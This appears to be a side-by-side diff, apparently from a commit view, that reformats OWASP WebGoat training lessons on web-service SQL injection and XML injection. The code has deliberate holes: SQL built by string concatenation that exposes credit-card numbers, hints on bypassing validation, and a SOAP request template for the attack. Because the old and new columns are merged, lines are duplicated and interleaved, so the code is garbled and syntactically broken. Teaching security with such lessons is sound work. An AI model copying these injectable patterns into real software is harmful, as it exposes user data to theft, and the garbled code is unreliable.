/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
WsSqlInjection.webgoatContext = webgoatContext; WsSqlInjection.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return WsSqlInjection.webgoatContext; return WsSqlInjection.webgoatContext;
} }
protected Category getDefaultCategory()
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints
.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
+ "The soap message body has the following format:<br>"
+ "&lt;?xml version='1.0' encoding='UTF-8'?&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getCreditCard SOAP-ENV:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:ns1='http://lessons'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type='xsd:string'&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
/* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" +
" &lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" +
" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" +
" &lt;SOAP-ENV:Body&gt; <br>" +
" &lt;ns1:getCreditCard SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" +
" &lt;id xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+
" &lt;/ns1:getCreditCard&gt; <br>" +
" &lt;/SOAP-ENV:Body&gt; <br>" +
" &lt;/SOAP-ENV:Envelope&gt; <br><br>" +
"Intercept the HTTP request and try to create a soap request."); */
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SQL Injection";
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your Account Number: "));
accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
ec.addElement(makeAccountLine(s)); return Category.WEB_SERVICES;
String query = "SELECT * FROM user_data WHERE userid = "
+ accountNumber;
ec.addElement(new PRE(query));
for (int i = 0; i < accountNumber.length(); i++)
{
char c = accountNumber.charAt(i);
if (c < '0' || c > '9')
{
ec.addElement("Invalid account number. ");
accountNumber = "0";
}
}
try
{
ResultSet results = getResults(accountNumber);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
if (results.getRow() >= 6)
{
//this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
} }
catch (Exception e)
protected List<String> getHints(WebSession s)
{ {
s.setMessage("Error generating " + this.getClass().getName()); List<String> hints = new ArrayList<String>();
e.printStackTrace(); hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
+ "The soap message body has the following format:<br>"
+ "&lt;?xml version='1.0' encoding='UTF-8'?&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getCreditCard SOAP-ENV:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:ns1='http://lessons'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type='xsd:string'&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
/*
* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + " &lt;SOAP-ENV:Envelope
* xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
* xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + "
* xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + "
* &lt;SOAP-ENV:Body&gt; <br>" + " &lt;ns1:getCreditCard
* SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"
* xmlns:ns1=\"http://lessons\"&gt; <br>" + " &lt;id
* xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ " &lt;/ns1:getCreditCard&gt; <br>" + "
* &lt;/SOAP-ENV:Body&gt; <br>" + " &lt;/SOAP-ENV:Envelope&gt; <br><br>" + "Intercept the
* HTTP request and try to create a soap request.");
*/
return hints;
} }
return (ec);
}
private final static Integer DEFAULT_RANKING = new Integer(150);
public ResultSet getResults(String id) protected Integer getDefaultRanking()
{
try
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); return DEFAULT_RANKING;
String query = "SELECT * FROM user_data WHERE userid = " + id;
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
return results;
}
catch (SQLException sqle)
{}
} }
catch (Exception e)
{}
return null;
}
public String getTitle()
public String[] getCreditCard(String id)
{
ResultSet results = getResults(id);
if ((results != null))
{ {
try return "Web Service SQL Injection";
{
results.last();
String[] users = new String[results.getRow()];
if (users.length > 4)
{
completed = true;
}
results.beforeFirst();
while (results.next() == true)
{
int i = results.getRow();
users[i - 1] = results.getString(ccNumber);
}
return users;
}
catch (SQLException sqle)
{}
} }
return null;
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
public Element getCredits() ec.addElement(new P().addElement("Enter your Account Number: "));
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO); accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
} Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
ec.addElement(new PRE(query));
for (int i = 0; i < accountNumber.length(); i++)
{
char c = accountNumber.charAt(i);
if (c < '0' || c > '9')
{
ec.addElement("Invalid account number. ");
accountNumber = "0";
}
}
try
{
ResultSet results = getResults(accountNumber);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
if (results.getRow() >= 6)
{
// this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
public ResultSet getResults(String id)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
String query = "SELECT * FROM user_data WHERE userid = " + id;
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
return results;
} catch (SQLException sqle)
{
}
} catch (Exception e)
{
}
return null;
}
public String[] getCreditCard(String id)
{
ResultSet results = getResults(id);
if ((results != null))
{
try
{
results.last();
String[] users = new String[results.getRow()];
if (users.length > 4)
{
completed = true;
}
results.beforeFirst();
while (results.next() == true)
{
int i = results.getRow();
users[i - 1] = results.getString(ccNumber);
}
return users;
} catch (SQLException sqle)
{
}
}
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,368 +20,310 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*/ */
public class XMLInjection extends LessonAdapter public class XMLInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
private final static String ACCOUNTID = "accountID"; private final static String ACCOUNTID = "accountID";
public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>(); public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>();
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected static HashMap<Integer, Reward> init() protected static HashMap<Integer, Reward> init()
{
Reward r = new Reward();
r.setName("WebGoat t-shirt");
r.setPoints(50);
rewardsMap.put(1001, r);
r = new Reward();
r.setName("WebGoat Secure Kettle");
r.setPoints(30);
rewardsMap.put(1002, r);
r = new Reward();
r.setName("WebGoat Mug");
r.setPoints(20);
rewardsMap.put(1003, r);
r = new Reward();
r.setName("WebGoat Core Duo Laptop");
r.setPoints(2000);
rewardsMap.put(1004, r);
r = new Reward();
r.setName("WebGoat Hawaii Cruise");
r.setPoints(3000);
rewardsMap.put(1005, r);
return rewardsMap;
}
public void handleRequest(WebSession s)
{
try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) Reward r = new Reward();
{
if (s.getParser().getRawParameter(ACCOUNTID, "").equals( r.setName("WebGoat t-shirt");
"836239")) r.setPoints(50);
rewardsMap.put(1001, r);
r = new Reward();
r.setName("WebGoat Secure Kettle");
r.setPoints(30);
rewardsMap.put(1002, r);
r = new Reward();
r.setName("WebGoat Mug");
r.setPoints(20);
rewardsMap.put(1003, r);
r = new Reward();
r.setName("WebGoat Core Duo Laptop");
r.setPoints(2000);
rewardsMap.put(1004, r);
r = new Reward();
r.setName("WebGoat Hawaii Cruise");
r.setPoints(3000);
rewardsMap.put(1005, r);
return rewardsMap;
}
public void handleRequest(WebSession s)
{
try
{ {
String lineSep = System.getProperty("line.separator"); if (s.getParser().getRawParameter("from", "").equals("ajax"))
String xmlStr = "<root>" + lineSep {
+ "<reward>WebGoat Mug 20 Pts</reward>" if (s.getParser().getRawParameter(ACCOUNTID, "").equals("836239"))
+ lineSep {
+ "<reward>WebGoat t-shirt 50 Pts</reward>" String lineSep = System.getProperty("line.separator");
+ lineSep + "<reward>WebGoat Secure Kettle 30 Pts</reward>" String xmlStr = "<root>" + lineSep + "<reward>WebGoat Mug 20 Pts</reward>" + lineSep
+ lineSep + "</root>"; + "<reward>WebGoat t-shirt 50 Pts</reward>" + lineSep
s.getResponse().setContentType("text/xml"); + "<reward>WebGoat Secure Kettle 30 Pts</reward>" + lineSep + "</root>";
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setContentType("text/xml");
PrintWriter out = new PrintWriter(s.getResponse() s.getResponse().setHeader("Cache-Control", "no-cache");
.getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(xmlStr); out.print(xmlStr);
out.flush(); out.flush();
out.close(); out.close();
return; return;
}
}
} catch (Exception ex)
{
ex.printStackTrace();
} }
}
} Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
catch (Exception ex)
{ form.addElement(createContent(s));
ex.printStackTrace();
setContent(form);
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") protected Element createContent(WebSession s)
.setEncType("");
form.addElement(createContent(s));
setContent(form);
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
boolean isDone = false;
init();
if (s.getParser().getRawParameter("done", "").equals("yes"))
{ {
isDone = true; ElementContainer ec = new ElementContainer();
} boolean isDone = false;
String lineSep = System.getProperty("line.separator"); init();
String script = "<script>"
+ lineSep
+ "function getRewards() {"
+ lineSep
+ "var accountIDField = document.getElementById('"
+ ACCOUNTID
+ "');"
+ lineSep
+ "if (accountIDField.value.length < 6 ) { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ ACCOUNTID
+ "=' + encodeURIComponent(accountIDField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var rewards = req.responseXML.getElementsByTagName('reward');"
+ lineSep
+ " var rewardsDiv = document.getElementById('rewardsDiv');"
+ lineSep
+ " rewardsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';"
+ lineSep
+ " for(var i=0; i< rewards.length; i++){"
//+ lineSep
//+ " var node = rewards.childNodes[i+1];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table>' + strHTML + '</table>';"
+ lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;"
+ lineSep + " rewardsDiv.innerHTML = strHTML;"
+ lineSep + " }}}" + lineSep + "</script>" + lineSep;
if (!isDone) if (s.getParser().getRawParameter("done", "").equals("yes"))
{ {
ec.addElement(new StringElement(script)); isDone = true;
} }
ec.addElement(new BR().addElement(new H1() String lineSep = System.getProperty("line.separator");
.addElement("Welcome to WebGoat-Miles Reward Miles Program."))); String script = "<script>" + lineSep + "function getRewards() {" + lineSep
ec.addElement(new BR()); + "var accountIDField = document.getElementById('" + ACCOUNTID + "');" + lineSep
+ "if (accountIDField.value.length < 6 ) { return; }" + lineSep + "var url = '" + getLink()
+ "&from=ajax&" + ACCOUNTID + "=' + encodeURIComponent(accountIDField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var rewards = req.responseXML.getElementsByTagName('reward');"
+ lineSep
+ " var rewardsDiv = document.getElementById('rewardsDiv');"
+ lineSep
+ " rewardsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';"
+ lineSep
+ " for(var i=0; i< rewards.length; i++){"
// + lineSep
// + " var node = rewards.childNodes[i+1];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep + " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + lineSep
+ " }" + lineSep + " strHTML = '<table>' + strHTML + '</table>';" + lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;" + lineSep
+ " rewardsDiv.innerHTML = strHTML;" + lineSep + " }}}" + lineSep + "</script>"
+ lineSep;
ec.addElement(new BR().addElement(new H3() if (!isDone)
.addElement("Rewards available through the program:"))); {
ec.addElement(new BR()); ec.addElement(new StringElement(script));
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) }
.setWidth("90%").setAlign("center"); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
TR trRewards = null; ec.addElement(new BR());
for (int i = 1001; i < 1001 + rewardsMap.size(); i++) ec.addElement(new BR().addElement(new H3().addElement("Rewards available through the program:")));
{ ec.addElement(new BR());
trRewards = new TR(); Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
Reward r = (Reward) rewardsMap.get(i); TR trRewards = null;
trRewards.addElement(new TD("-" + r.getName()));
trRewards.addElement(new TD(r.getPoints() + " Pts"));
t2.addElement(trRewards);
}
ec.addElement(t2);
ec.addElement(new BR());
ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("Please enter your account ID:"));
Input input1 = new Input(Input.TEXT, ACCOUNTID, "");
input1.addAttribute("onkeyup", "getRewards();");
input1.addAttribute("id", ACCOUNTID);
tr.addElement(new TD(input1));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "rewardsDiv");
div.addAttribute("id", "rewardsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
if (s.getParser().getRawParameter("SUBMIT", "") != "")
{
if (s.getParser().getRawParameter("check1004", "") != "")
{
makeSuccess(s);
}
else
{
StringBuffer shipment = new StringBuffer();
for (int i = 1001; i < 1001 + rewardsMap.size(); i++) for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{ {
trRewards = new TR();
if (s.getParser().getRawParameter("check" + i, "") != "") Reward r = (Reward) rewardsMap.get(i);
{ trRewards.addElement(new TD("-" + r.getName()));
shipment.append(((Reward) rewardsMap.get(i)).getName() trRewards.addElement(new TD(r.getPoints() + " Pts"));
+ "<br>"); t2.addElement(trRewards);
}
} }
shipment
.insert(0,
"<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString()));
}
ec.addElement(t2);
ec.addElement(new BR());
ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("Please enter your account ID:"));
Input input1 = new Input(Input.TEXT, ACCOUNTID, "");
input1.addAttribute("onkeyup", "getRewards();");
input1.addAttribute("id", ACCOUNTID);
tr.addElement(new TD(input1));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "rewardsDiv");
div.addAttribute("id", "rewardsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
if (s.getParser().getRawParameter("SUBMIT", "") != "")
{
if (s.getParser().getRawParameter("check1004", "") != "")
{
makeSuccess(s);
}
else
{
StringBuffer shipment = new StringBuffer();
for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{
if (s.getParser().getRawParameter("check" + i, "") != "")
{
shipment.append(((Reward) rewardsMap.get(i)).getName() + "<br>");
}
}
shipment.insert(0, "<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString()));
}
}
return ec;
} }
return ec; protected Element makeSuccess(WebSession s)
}
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s
.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply.");
hints
.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints;
}
public String getTitle()
{
return "XML Injection";
}
static class Reward
{
private String name;
private int points;
public String getName()
{ {
return name; getLessonTracker(s).setCompleted(true);
s.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
} }
public Element getCredits()
public void setName(String name)
{ {
this.name = name; return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
} }
protected Category getDefaultCategory()
public int getPoints()
{ {
return points;
return Category.AJAX_SECURITY;
} }
protected Integer getDefaultRanking()
public void setPoints(int points)
{ {
this.points = points;
return DEFAULT_RANKING;
} }
} protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply.");
hints.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints;
}
public String getTitle()
{
return "XML Injection";
}
static class Reward
{
private String name;
private int points;
public String getName()
{
return name;
}
public void setName(String name)
{
this.name = name;
}
public int getPoints()
{
return points;
}
public void setPoints(int points)
{
this.points = points;
}
}
} }

View File

@ -1,6 +1,7 @@
/** /**
* *
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.File; import java.io.File;
@ -11,12 +12,10 @@ import java.io.FileInputStream;
import org.xml.sax.InputSource; import org.xml.sax.InputSource;
import org.w3c.dom.NodeList; import org.w3c.dom.NodeList;
import org.w3c.dom.Node; import org.w3c.dom.Node;
import javax.xml.xpath.XPathConstants; import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPath; import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathFactory; import javax.xml.xpath.XPathFactory;
import javax.xml.xpath.XPathExpressionException; import javax.xml.xpath.XPathExpressionException;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -32,234 +31,208 @@ import org.apache.ecs.html.BR;
import org.apache.ecs.html.B; import org.apache.ecs.html.B;
import org.apache.ecs.html.PRE; import org.apache.ecs.html.PRE;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
